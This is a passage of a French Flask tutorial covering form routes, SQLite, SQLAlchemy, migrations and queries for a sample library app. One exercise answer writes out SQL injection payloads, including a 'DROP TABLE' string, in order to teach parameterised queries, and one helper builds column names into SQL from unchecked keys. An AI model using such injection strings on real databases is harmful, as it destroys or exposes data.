      session.clear()
      flash('Vous avez été déconnecté.', 'info')
      return redirect(url_for('web.index'))

  @auth_bp.route('/register', methods=['GET', 'POST'])
  def register():
      form = InscriptionForm()
      if form.validate_on_submit():
          # En prod: hasher le mdp + sauvegarder en BDD
          flash(f'Compte créé pour {form.email.data} !', 'success')
          return redirect(url_for('auth.login'))
      return render_template('auth/register.html', form=form)

  # app/routes/livre_routes.py
  @livres_web_bp.route('/nouveau', methods=['GET', 'POST'])
  def nouveau():
      form = LivreForm()
      if form.validate_on_submit():
          couverture_path = None
          if form.couverture.data:
              couverture_path = sauvegarder_image(form.couverture.data)

          nouveau_livre = {
              'id': len(LIVRES) + 1,
              'titre': form.titre.data,
              'auteur': form.auteur.data,
              'isbn': form.isbn.data,
              'pages': form.pages.data or 0,
              'prix': float(form.prix.data) if form.prix.data else 0,
              'genre': form.genre.data or 'autre',
              'description': form.description.data,
              'disponible': form.disponible.data,
              'couverture': couverture_path
          }
          LIVRES.append(nouveau_livre)
          flash(f'Livre « {nouveau_livre["titre"]} » ajouté !', 'success')
          return redirect(url_for('web_livres.liste'))

      return render_template('livres/formulaire.html', form=form,
                             action='Ajouter un livre')

  @livres_web_bp.route('/<int:livre_id>/modifier', methods=['GET', 'POST'])
  def modifier(livre_id):
      livre = next((l for l in LIVRES if l['id'] == livre_id), None)
      if not livre:
          abort(404)

      form = LivreForm(data=livre)
      if form.validate_on_submit():
          for champ in ['titre', 'auteur', 'isbn', 'genre', 'description', 'disponible']:
              livre[champ] = getattr(form, champ).data
          livre['pages'] = form.pages.data or 0
          livre['prix'] = float(form.prix.data) if form.prix.data else 0
          flash(f'Livre « {livre["titre"]} » modifié !', 'success')
          return redirect(url_for('web_livres.detail', livre_id=livre_id))

      return render_template('livres/formulaire.html', form=form,
                             livre=livre, action=f'Modifier : {livre["titre"]}')


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 4 — FORMULAIRES

  [DOCS] Tu as appris :
     -> Formulaires HTML manuels : request.form, encodage, PRG pattern
     -> Sécurité CSRF : attaque, protection, token
     -> Flask-WTF : installation, configuration, FlaskForm
     -> Tous les types de champs WTForms : StringField, PasswordField, SelectField,
       BooleanField, DateField, FileField et bien d'autres
     -> Validateurs built-in : DataRequired, Length, Email, EqualTo, Regexp, NumberRange
     -> Validateurs personnalisés : méthodes validate_<champ>, fonctions, classes
     -> Validation croisée entre champs
     -> Upload de fichiers sécurisé : secure_filename, UUID, Pillow, vérifications
     -> Formulaires AJAX/JSON avec JavaScript
     -> BookFlow : tous les formulaires du projet (login, inscription, livre, emprunt)

  -> Prochaine étape : Partie 5 — Base de données (SQLAlchemy, modèles, migrations)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 5 : BASE DE DONNÉES                      ║
║         SQLite, SQLAlchemy ORM, Modèles, Migrations et Relations                  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 5 / 20
Chapitres      : 17 -> 20
Prérequis      : Parties 1 à 4 (HTTP, Flask, routing, templates, formulaires)
Projet fil     : BookFlow — Passage aux vraies données persistantes

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 5
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 17 — SQLite et les bases des bases de données relationnelles
  CHAPITRE 18 — SQLAlchemy ORM : Python rencontre la base de données
  CHAPITRE 19 — Modèles : définir la structure des données
  CHAPITRE 20 — Relations entre tables : One-to-Many, Many-to-Many

  PROJET FIL ROUGE — BookFlow avec vraie base de données

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 17 — SQLITE ET LES BASES DES BDD RELATIONNELLES                 ║
║     Comprendre les fondements avant d'utiliser l'ORM                              ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QU'UNE BASE DE DONNÉES RELATIONNELLE ?
──────────────────────────────────────────────────
Une base de données relationnelle organise les données en TABLES (comme des
feuilles Excel), reliées entre elles par des RELATIONS.

Analogie : imagine un fichier Excel avec plusieurs onglets :
  Onglet "Livres"       -> une ligne par livre
  Onglet "Utilisateurs" -> une ligne par utilisateur
  Onglet "Emprunts"     -> une ligne par emprunt (qui a emprunté quoi)

Les tables sont liées par des CLÉS ÉTRANGÈRES qui permettent de retrouver
les données connexes (quel utilisateur a fait quel emprunt).

POURQUOI SQLITE ?
──────────────────
SQLite est la base de données idéale pour commencer :
  [OK] Pas de serveur à installer (la BDD est UN fichier .db)
  [OK] Zéro configuration
  [OK] Intégré dans Python (module sqlite3)
  [OK] Parfait pour le développement et les petits projets
  [OK] Django, Flask, Android l'utilisent en dev

SQLite vs PostgreSQL (en production) :
  SQLite    -> Un seul fichier, pas de concurrent massif -> dev, prototypes
  PostgreSQL -> Serveur dédié, concurrent, robuste -> production

DANS BOOKFLOW :
  -> Développement : SQLite (bookflow_dev.db)
  -> Production    : PostgreSQL (configuration identique avec SQLAlchemy !)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  CONCEPTS FONDAMENTAUX DES BDD RELATIONNELLES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

LES TABLES ET LES COLONNES :

  Table LIVRES :
  ┌────┬──────────────────┬──────────────────┬───────┬────────────┬───────────┐
  │ id │ titre            │ auteur           │ pages │ genre      │disponible │
  ├────┼──────────────────┼──────────────────┼───────┼────────────┼───────────┤
  │  1 │ Dune             │ Frank Herbert    │   900 │ sf         │    1      │
  │  2 │ Le Hobbit        │ J.R.R. Tolkien   │   310 │ fantasy    │    1      │
  │  3 │ 1984             │ George Orwell    │   328 │ dystopie   │    0      │
  └────┴──────────────────┴──────────────────┴───────┴────────────┴───────────┘

  - Chaque LIGNE = un enregistrement (un livre)
  - Chaque COLONNE = un attribut (titre, auteur, etc.)
  - id = CLÉ PRIMAIRE (unique, identifie chaque ligne)

LES TYPES DE DONNÉES SQL :

  ┌──────────────────┬─────────────────────────────────────────────────────┐
  │ TYPE SQL         │ DESCRIPTION                                         │
  ├──────────────────┼─────────────────────────────────────────────────────┤
  │ INTEGER          │ Entier (id, pages, age...)                          │
  │ TEXT / VARCHAR   │ Texte (titre, nom, email...)                        │
  │ REAL / FLOAT     │ Décimal (prix, note...)                             │
  │ BOOLEAN          │ Vrai/Faux (disponible, actif...)                    │
  │ DATE             │ Date (2024-01-15)                                   │
  │ DATETIME         │ Date + heure (2024-01-15 14:30:00)                  │
  │ BLOB             │ Données binaires (images...)                        │
  │ NULL             │ Valeur absente                                      │
  └──────────────────┴─────────────────────────────────────────────────────┘

LES CONTRAINTES :

  PRIMARY KEY   -> Identifiant unique, jamais NULL, souvent auto-incrémenté
  NOT NULL      -> La colonne ne peut pas être vide
  UNIQUE        -> Chaque valeur doit être unique dans la colonne (email)
  DEFAULT       -> Valeur par défaut si non fournie
  FOREIGN KEY   -> Référence à la clé primaire d'une autre table
  CHECK         -> Valider une condition (pages > 0)

LES REQUÊTES SQL DE BASE :

  -- CRÉER UNE TABLE
  CREATE TABLE livres (
      id        INTEGER PRIMARY KEY AUTOINCREMENT,
      titre     TEXT    NOT NULL,
      auteur    TEXT    NOT NULL,
      pages     INTEGER DEFAULT 0 CHECK(pages >= 0),
      genre     TEXT,
      disponible BOOLEAN DEFAULT 1,
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP
  );

  -- INSÉRER DES DONNÉES
  INSERT INTO livres (titre, auteur, pages, genre)
  VALUES ('Dune', 'Frank Herbert', 900, 'science-fiction');

  -- LIRE DES DONNÉES
  SELECT * FROM livres;
  SELECT titre, auteur FROM livres WHERE genre = 'fantasy';
  SELECT * FROM livres WHERE disponible = 1 ORDER BY titre ASC;
  SELECT * FROM livres LIMIT 10 OFFSET 20;  -- Pagination

  -- MODIFIER DES DONNÉES
  UPDATE livres SET disponible = 0 WHERE id = 3;
  UPDATE livres SET titre = 'Dune : Le Roman', pages = 920 WHERE id = 1;

  -- SUPPRIMER DES DONNÉES
  DELETE FROM livres WHERE id = 5;

  -- JOINTURE (lier deux tables)
  SELECT livres.titre, utilisateurs.nom
  FROM emprunts
  JOIN livres ON emprunts.livre_id = livres.id
  JOIN utilisateurs ON emprunts.user_id = utilisateurs.id
  WHERE emprunts.statut = 'en_cours';

  -- COMPTER ET AGRÉGER
  SELECT COUNT(*) FROM livres;
  SELECT genre, COUNT(*) as total FROM livres GROUP BY genre;
  SELECT AVG(pages) FROM livres WHERE genre = 'fantasy';


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  SQLITE EN PYTHON NATIF (AVANT L'ORM)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Avant d'utiliser SQLAlchemy, voici comment on utiliserait SQLite directement.
Cela t'aide à comprendre CE QUE fait l'ORM sous le capot.

  import sqlite3
  from contextlib import contextmanager

  DATABASE = 'bookflow.db'

  @contextmanager
  def get_db():
      """Gestionnaire de contexte pour la connexion BDD."""
      conn = sqlite3.connect(DATABASE)
      conn.row_factory = sqlite3.Row  # Résultats comme des dicts
      try:
          yield conn
          conn.commit()     # Valider les changements
      except Exception:
          conn.rollback()   # Annuler en cas d'erreur
          raise
      finally:
          conn.close()      # Toujours fermer la connexion

  def creer_tables():
      """Crée les tables si elles n'existent pas."""
      with get_db() as db:
          db.execute('''
              CREATE TABLE IF NOT EXISTS livres (
                  id INTEGER PRIMARY KEY AUTOINCREMENT,
                  titre TEXT NOT NULL,
                  auteur TEXT NOT NULL,
                  pages INTEGER DEFAULT 0,
                  genre TEXT DEFAULT 'autre',
                  disponible BOOLEAN DEFAULT 1,
                  created_at DATETIME DEFAULT CURRENT_TIMESTAMP
              )
          ''')

  def creer_livre(titre, auteur, pages=0, genre='autre'):
      """Insère un nouveau livre en base."""
      with get_db() as db:
          cursor = db.execute(
              'INSERT INTO livres (titre, auteur, pages, genre) VALUES (?, ?, ?, ?)',
              (titre, auteur, pages, genre)
              # ^ Utiliser ? (paramètres) pour éviter les injections SQL !
          )
          return cursor.lastrowid  # ID du livre créé

  def get_livre(livre_id):
      """Récupère un livre par son ID."""
      with get_db() as db:
          row = db.execute(
              'SELECT * FROM livres WHERE id = ?', (livre_id,)
          ).fetchone()
          return dict(row) if row else None

  def get_livres(genre=None, disponible=None, page=1, limit=10):
      """Récupère une liste de livres avec filtres et pagination."""
      conditions = []
      params = []

      if genre:
          conditions.append('genre = ?')
          params.append(genre)
      if disponible is not None:
          conditions.append('disponible = ?')
          params.append(1 if disponible else 0)

      where = 'WHERE ' + ' AND '.join(conditions) if conditions else ''
      offset = (page - 1) * limit
      params.extend([limit, offset])

      with get_db() as db:
          total = db.execute(
              f'SELECT COUNT(*) FROM livres {where}', params[:-2]
          ).fetchone()[0]

          livres = db.execute(
              f'SELECT * FROM livres {where} LIMIT ? OFFSET ?', params
          ).fetchall()

          return [dict(l) for l in livres], total

  # PROBLÈME DU SQL NATIF :
  # [X] Beaucoup de code répétitif
  # [X] Risque d'injection SQL si on oublie les ?
  # [X] Pas de validation des types
  # [X] Pas de mapping objet <-> table
  # [X] Changer de BDD nécessite réécrire tout le SQL
  #
  # -> C'est pourquoi on utilise SQLAlchemy ORM !


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 17.1 : Écris les requêtes SQL pour ces opérations BookFlow :
    a) Sélectionner tous les livres disponibles, triés par titre
    b) Compter le nombre de livres par genre
    c) Trouver les 5 livres les plus récents
    d) Changer la disponibilité du livre id=3 à false

  Exercice 17.2 : Crée manuellement une BDD SQLite "test.db" avec Python
    et insère 3 livres. Récupère-les et affiche leurs titres.

  Exercice 17.3 : Explique pourquoi on ne doit JAMAIS faire :
    query = f"SELECT * FROM livres WHERE titre = '{titre_saisi}'"
    Montre l'attaque possible et la correction avec les paramètres ?.

NIVEAU INTERMÉDIAIRE :
  Exercice 17.4 : Écris la requête SQL qui retourne, pour chaque utilisateur,
    le nombre de livres qu'il a empruntés (avec JOIN).

  Exercice 17.5 : Écris une requête SQL avec une transaction pour transférer
    un emprunt d'un utilisateur à un autre (UPDATE + sécurité atomique).

NIVEAU AVANCÉ :
  Exercice 17.6 : Implémente une classe DatabaseManager qui encapsule
    toutes les opérations CRUD sur les livres avec le module sqlite3 natif.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 17.1 :

  -- a) Livres disponibles triés par titre
  SELECT * FROM livres
  WHERE disponible = 1
  ORDER BY titre ASC;

  -- b) Nombre de livres par genre
  SELECT genre, COUNT(*) AS total
  FROM livres
  GROUP BY genre
  ORDER BY total DESC;

  -- c) 5 livres les plus récents
  SELECT * FROM livres
  ORDER BY created_at DESC
  LIMIT 5;

  -- d) Changer disponibilité livre id=3
  UPDATE livres
  SET disponible = 0, updated_at = CURRENT_TIMESTAMP
  WHERE id = 3;

CORRIGÉ 17.3 — Injection SQL :

  # DANGEREUX — Injection SQL possible :
  titre_saisi = "Dune' OR '1'='1"
  query = f"SELECT * FROM livres WHERE titre = '{titre_saisi}'"
  # -> SELECT * FROM livres WHERE titre = 'Dune' OR '1'='1'
  # -> Retourne TOUS les livres (condition toujours vraie) !!

  # Encore pire :
  titre_saisi = "'; DROP TABLE livres; --"
  query = f"SELECT * FROM livres WHERE titre = '{titre_saisi}'"
  # -> SELECT * FROM livres WHERE titre = ''; DROP TABLE livres; --'
  # -> SUPPRIME TOUTE LA TABLE !! [X]

  # CORRECT — Paramètres préparés :
  cursor.execute("SELECT * FROM livres WHERE titre = ?", (titre_saisi,))
  # sqlite3 échappe automatiquement les caractères dangereux [OK]

CORRIGÉ 17.4 :

  SELECT
      utilisateurs.id,
      utilisateurs.nom,
      utilisateurs.email,
      COUNT(emprunts.id) AS nb_emprunts
  FROM utilisateurs
  LEFT JOIN emprunts ON utilisateurs.id = emprunts.user_id
  GROUP BY utilisateurs.id, utilisateurs.nom, utilisateurs.email
  ORDER BY nb_emprunts DESC;
  -- LEFT JOIN : inclut les utilisateurs sans emprunt (COUNT = 0)

CORRIGÉ 17.6 — DatabaseManager :

  import sqlite3
  from contextlib import contextmanager
  from typing import Optional, List, Dict, Any

  class DatabaseManager:
      """Gestionnaire de BDD SQLite pour BookFlow."""

      def __init__(self, database_path: str):
          self.database_path = database_path
          self._initialiser()

      @contextmanager
      def _connexion(self):
          conn = sqlite3.connect(self.database_path)
          conn.row_factory = sqlite3.Row
          conn.execute("PRAGMA foreign_keys = ON")  # Activer les FK
          try:
              yield conn
              conn.commit()
          except Exception:
              conn.rollback()
              raise
          finally:
              conn.close()

      def _initialiser(self):
          with self._connexion() as db:
              db.execute('''
                  CREATE TABLE IF NOT EXISTS livres (
                      id INTEGER PRIMARY KEY AUTOINCREMENT,
                      titre TEXT NOT NULL,
                      auteur TEXT NOT NULL,
                      pages INTEGER DEFAULT 0 CHECK(pages >= 0),
                      genre TEXT DEFAULT 'autre',
                      disponible INTEGER DEFAULT 1,
                      created_at TEXT DEFAULT (datetime('now'))
                  )
              ''')

      def creer(self, titre: str, auteur: str, **kwargs) -> int:
          champs = ['titre', 'auteur'] + list(kwargs.keys())
          valeurs = [titre, auteur] + list(kwargs.values())
          placeholders = ','.join(['?'] * len(champs))
          sql = f"INSERT INTO livres ({','.join(champs)}) VALUES ({placeholders})"
          with self._connexion() as db:
              cursor = db.execute(sql, valeurs)
              return cursor.lastrowid

      def lire(self, livre_id: int) -> Optional[Dict]:
          with self._connexion() as db:
              row = db.execute(
                  "SELECT * FROM livres WHERE id = ?", (livre_id,)
              ).fetchone()
              return dict(row) if row else None

      def lire_tous(self, **filtres) -> List[Dict]:
          conditions = [f"{k} = ?" for k in filtres]
          where = "WHERE " + " AND ".join(conditions) if filtres else ""
          with self._connexion() as db:
              rows = db.execute(
                  f"SELECT * FROM livres {where} ORDER BY titre",
                  list(filtres.values())
              ).fetchall()
              return [dict(r) for r in rows]

      def modifier(self, livre_id: int, **champs) -> bool:
          if not champs:
              return False
          set_clause = ", ".join(f"{k} = ?" for k in champs)
          valeurs = list(champs.values()) + [livre_id]
          with self._connexion() as db:
              cursor = db.execute(
                  f"UPDATE livres SET {set_clause} WHERE id = ?", valeurs
              )
              return cursor.rowcount > 0

      def supprimer(self, livre_id: int) -> bool:
          with self._connexion() as db:
              cursor = db.execute(
                  "DELETE FROM livres WHERE id = ?", (livre_id,)
              )
              return cursor.rowcount > 0

  # Utilisation :
  db = DatabaseManager('bookflow.db')
  id_nouveau = db.creer('Dune', 'Frank Herbert', pages=900, genre='science-fiction')
  livre = db.lire(id_nouveau)
  tous = db.lire_tous(genre='fantasy')
  db.modifier(1, disponible=0)
  db.supprimer(5)


╔══════════════════════════════════════════════════════════════════════════════════════╗
║          CHAPITRE 18 — SQLALCHEMY ORM : PYTHON RENCONTRE LA BASE DE DONNÉES      ║
║     Le pont entre les objets Python et les tables SQL                             ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QU'UN ORM ?
───────────────────────
ORM = Object-Relational Mapping (Mappage Objet-Relationnel)

Un ORM est une couche d'abstraction qui fait correspondre :
  -> Les CLASSES Python <-> Les TABLES SQL
  -> Les OBJETS Python  <-> Les LIGNES SQL
  -> Les ATTRIBUTS      <-> Les COLONNES SQL

Sans ORM (SQL natif) :            Avec SQLAlchemy ORM :
──────────────────────────        ────────────────────────────────
cursor.execute(                   livre = Livre(
  "INSERT INTO livres              titre='Dune',
  (titre, auteur, pages)           auteur='Herbert',
  VALUES (?,?,?)",                  pages=900
  ('Dune','Herbert',900)           )
)                                 db.session.add(livre)
livre_id = cursor.lastrowid       db.session.commit()

Tu travailles avec des OBJETS Python, l'ORM génère le SQL pour toi !

AVANTAGES DE SQLALCHEMY :
  [OK] Plus de SQL brut -> moins de risques d'injection
  [OK] Portable : change SQLite -> PostgreSQL en modifiant juste l'URL
  [OK] Validation des types au niveau Python
  [OK] Requêtes complexes en Python (filtres, joins, tris)
  [OK] Gestion automatique des connexions et transactions
  [OK] Migrations avec Flask-Migrate (Alembic)
  [OK] Relations faciles (livre.auteur_obj, user.livres)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  INSTALLATION ET CONFIGURATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  pip install flask-sqlalchemy flask-migrate

CONFIGURATION DANS L'APPLICATION FACTORY :

  # app/__init__.py
  from flask import Flask
  from flask_sqlalchemy import SQLAlchemy
  from flask_migrate import Migrate

  # Créer les extensions SANS app (late binding)
  db = SQLAlchemy()
  migrate = Migrate()

  def create_app(config_name='development'):
      app = Flask(__name__)
      app.config.from_object(config_map[config_name])

      # Lier les extensions à l'app
      db.init_app(app)
      migrate.init_app(app, db)

      # Importer les modèles ICI pour que SQLAlchemy les connaisse
      # (nécessaire pour les migrations)
      with app.app_context():
          from . import models  # noqa: F401

      return app

CONFIGURATION DANS config.py :

  import os

  class DevelopmentConfig:
      # URL de connexion SQLite (fichier local)
      SQLALCHEMY_DATABASE_URI = 'sqlite:///bookflow_dev.db'
      # -> Crée le fichier dans instance/bookflow_dev.db

      # Désactiver le tracking des modifications (deprecated, économise mémoire)
      SQLALCHEMY_TRACK_MODIFICATIONS = False

      # Afficher les requêtes SQL dans les logs (utile en dev)
      SQLALCHEMY_ECHO = True  # -> False en production

      # Options de connexion
      SQLALCHEMY_ENGINE_OPTIONS = {
          'pool_pre_ping': True,     # Vérifier la connexion avant utilisation
          'pool_recycle': 300,       # Recycler les connexions après 5 min
      }

  class ProductionConfig:
      # PostgreSQL en production
      SQLALCHEMY_DATABASE_URI = os.getenv('DATABASE_URL')
      # Format : postgresql://user:password@host:port/dbname
      # Ex : postgresql://bookflow:secretpwd@localhost:5432/bookflow_prod

      SQLALCHEMY_TRACK_MODIFICATIONS = False
      SQLALCHEMY_ECHO = False

  class TestingConfig:
      # BDD en mémoire pour les tests (rapide, isolée)
      SQLALCHEMY_DATABASE_URI = 'sqlite:///:memory:'
      SQLALCHEMY_TRACK_MODIFICATIONS = False
      TESTING = True

FORMAT DES URLs DE CONNEXION :
  SQLite   : 'sqlite:///chemin/relatif/fichier.db'
             'sqlite:////chemin/absolu/fichier.db'  (4 slashs = absolu)
             'sqlite:///:memory:'                   (en mémoire, tests)

  PostgreSQL : 'postgresql://user:pwd@host:port/dbname'
  MySQL      : 'mysql+pymysql://user:pwd@host:port/dbname'
  MariaDB    : 'mariadb+pymysql://user:pwd@host:port/dbname'


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  LES MIGRATIONS AVEC FLASK-MIGRATE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask-Migrate (basé sur Alembic) gère l'évolution du schéma de la BDD.
Sans migrations, chaque modification de modèle nécessiterait de
supprimer et recréer la BDD (perte de données !).

COMMANDES FLASK-MIGRATE :

  # 1. Initialiser le système de migrations (une seule fois)
  flask db init
  # -> Crée le dossier migrations/

  # 2. Détecter les changements des modèles et créer une migration
  flask db migrate -m "Description du changement"
  # Ex: flask db migrate -m "Ajout table livres"
  # Ex: flask db migrate -m "Ajout colonne isbn dans livres"
  # -> Crée un fichier dans migrations/versions/

  # 3. Appliquer la migration à la BDD
  flask db upgrade
  # -> Exécute le SQL de migration sur la vraie BDD

  # 4. Revenir à la migration précédente (rollback)
  flask db downgrade

  # 5. Voir l'historique des migrations
  flask db history

  # 6. Voir la migration courante
  flask db current

WORKFLOW TYPIQUE :
  1. Modifier un modèle (ajouter une colonne, créer une table...)
  2. flask db migrate -m "Description"
  3. Vérifier le fichier généré dans migrations/versions/
  4. flask db upgrade
  5. Vérifier en base que le changement est appliqué

FICHIER DE MIGRATION GÉNÉRÉ :

  # migrations/versions/abc123_ajout_colonne_isbn.py
  """Ajout colonne isbn dans livres"""

  from alembic import op
  import sqlalchemy as sa

  def upgrade():
      """Appliquer le changement."""
      op.add_column('livres', sa.Column('isbn', sa.String(13), nullable=True))
      op.create_index('ix_livres_isbn', 'livres', ['isbn'], unique=True)

  def downgrade():
      """Annuler le changement."""
      op.drop_index('ix_livres_isbn', table_name='livres')
      op.drop_column('livres', 'isbn')


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  LA SESSION SQLALCHEMY
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

La Session est l'interface principale pour interagir avec la BDD.
Elle maintient un "panier" d'objets à sauvegarder/modifier/supprimer.

  from app import db

  # ─── AJOUTER (INSERT) ───
  nouveau_livre = Livre(titre='Dune', auteur='Herbert', pages=900)
  db.session.add(nouveau_livre)       # Ajouter au "panier"
  db.session.commit()                 # Exécuter INSERT en BDD
  print(nouveau_livre.id)             # Disponible après commit

  # ─── AJOUTER PLUSIEURS ───
  livres = [
      Livre(titre='Foundation', auteur='Asimov'),
      Livre(titre='Hyperion', auteur='Simmons'),
  ]
  db.session.add_all(livres)
  db.session.commit()

  # ─── MODIFIER (UPDATE) ───
  livre = Livre.query.get(1)     # Récupérer
  livre.disponible = False        # Modifier l'attribut
  db.session.commit()             # SQLAlchemy détecte le changement et UPDATE

  # ─── SUPPRIMER (DELETE) ───
  livre = Livre.query.get(5)
  db.session.delete(livre)
  db.session.commit()

  # ─── ANNULER (ROLLBACK) ───
  try:
      livre = Livre(titre='Test')
      db.session.add(livre)
      # ... opération qui échoue ...
      raise Exception("Erreur simulée")
      db.session.commit()
  except Exception:
      db.session.rollback()  # Annuler TOUT ce qui était dans le "panier"
      raise

  # ─── FLUSH vs COMMIT ───
  # flush()  -> Envoie les changements à la BDD SANS fermer la transaction
  #            -> Utile pour obtenir l'ID avant le commit
  # commit() -> Valide la transaction définitivement
  livre = Livre(titre='Test')
  db.session.add(livre)
  db.session.flush()         # Envoie l'INSERT, l'ID est maintenant disponible
  print(livre.id)            # -> 42 (disponible sans commit)
  db.session.commit()        # Valider définitivement


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  REQUÊTES SQLALCHEMY
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

SQLAlchemy 2.x (recommandé) utilise la nouvelle syntaxe select().
SQLAlchemy 1.x utilise Model.query (encore très courant).

LES DEUX SYNTAXES (compatibles avec Flask-SQLAlchemy) :

  # SYNTAXE ANCIENNE (SQLAlchemy 1.x / Flask-SQLAlchemy < 3)
  # Encore très répandue, vous la verrez souvent
  livres = Livre.query.all()
  livre = Livre.query.get(1)
  livres = Livre.query.filter_by(genre='fantasy').all()

  # SYNTAXE MODERNE (SQLAlchemy 2.x / Flask-SQLAlchemy >= 3)
  from sqlalchemy import select
  stmt = select(Livre)
  livres = db.session.execute(stmt).scalars().all()

  # Dans ce guide, on utilisera principalement la syntaxe ancienne
  # (plus lisible pour les débutants et encore très utilisée en prod)

RÉFÉRENCE COMPLÈTE DES REQUÊTES :

  from app.models import Livre, Utilisateur

  # ─── RÉCUPÉRER TOUS LES ENREGISTREMENTS ───
  livres = Livre.query.all()
  # -> [<Livre 1>, <Livre 2>, ...]

  # ─── RÉCUPÉRER PAR ID ───
  livre = Livre.query.get(5)            # None si non trouvé
  livre = db.get_or_404(Livre, 5)       # Lève 404 si non trouvé (Flask-SQLAlchemy 3)
  livre = Livre.query.get_or_404(5)     # Equivalent (ancienne syntaxe)

  # ─── FILTRES SIMPLES (filter_by) ───
  # Utiliser pour les égalités simples
  livres = Livre.query.filter_by(genre='fantasy').all()
  livres = Livre.query.filter_by(genre='fantasy', disponible=True).all()
  user = Utilisateur.query.filter_by(email='momo@bookflow.com').first()

  # ─── FILTRES COMPLEXES (filter) ───
  # Utiliser pour les comparaisons, LIKE, IN, etc.
  from sqlalchemy import or_, and_, not_, func

  # Comparaisons
  Livre.query.filter(Livre.pages > 300).all()
  Livre.query.filter(Livre.pages.between(200, 500)).all()
  Livre.query.filter(Livre.pages != 0).all()

  # LIKE (recherche partielle)
  Livre.query.filter(Livre.titre.ilike('%dune%')).all()
  # ilike -> insensible à la casse (LIKE en minuscule = sensible)
  Livre.query.filter(Livre.auteur.contains('Herbert')).all()
  Livre.query.filter(Livre.titre.startswith('Le')).all()
  Livre.query.filter(Livre.titre.endswith('Prince')).all()

  # IN (dans une liste)
  Livre.query.filter(Livre.genre.in_(['fantasy', 'science-fiction'])).all()
  Livre.query.filter(Livre.id.in_([1, 3, 5])).all()

  # NOT IN
  Livre.query.filter(Livre.genre.notin_(['autre', 'inconnu'])).all()

  # IS NULL / IS NOT NULL
  Livre.query.filter(Livre.isbn.is_(None)).all()
  Livre.query.filter(Livre.isbn.isnot(None)).all()

  # OR / AND
  Livre.query.filter(
      or_(Livre.genre == 'fantasy', Livre.genre == 'science-fiction')
  ).all()

  Livre.query.filter(
      and_(Livre.disponible == True, Livre.pages > 200)
  ).all()

  # Plusieurs filter() = AND implicite
  Livre.query.filter(Livre.disponible == True).filter(Livre.pages > 200).all()

  # ─── TRI ───
  Livre.query.order_by(Livre.titre.asc()).all()    # Croissant (défaut)
  Livre.query.order_by(Livre.titre.desc()).all()   # Décroissant
  Livre.query.order_by(Livre.genre, Livre.titre).all()  # Multi-tri

  # ─── PAGINATION ───
  page = 2
  limit = 10
  pagination = Livre.query.order_by(Livre.titre).paginate(
      page=page,
      per_page=limit,
      error_out=False  # False -> pas d'erreur 404 si page trop haute
  )
  livres = pagination.items            # Liste des livres de la page
  total = pagination.total             # Total d'enregistrements
  pages_total = pagination.pages       # Nombre total de pages
  has_next = pagination.has_next       # Page suivante ?
  has_prev = pagination.has_prev       # Page précédente ?
  next_num = pagination.next_num       # Numéro page suivante
  prev_num = pagination.prev_num       # Numéro page précédente

  # ─── COMPTER ───
  total = Livre.query.count()
  disponibles = Livre.query.filter_by(disponible=True).count()

  # ─── FONCTIONS D'AGRÉGATION ───
  from sqlalchemy import func

  stats = db.session.query(
      func.count(Livre.id).label('total'),
      func.avg(Livre.pages).label('pages_moyen'),
      func.max(Livre.pages).label('pages_max'),
      func.min(Livre.pages).label('pages_min')
  ).first()

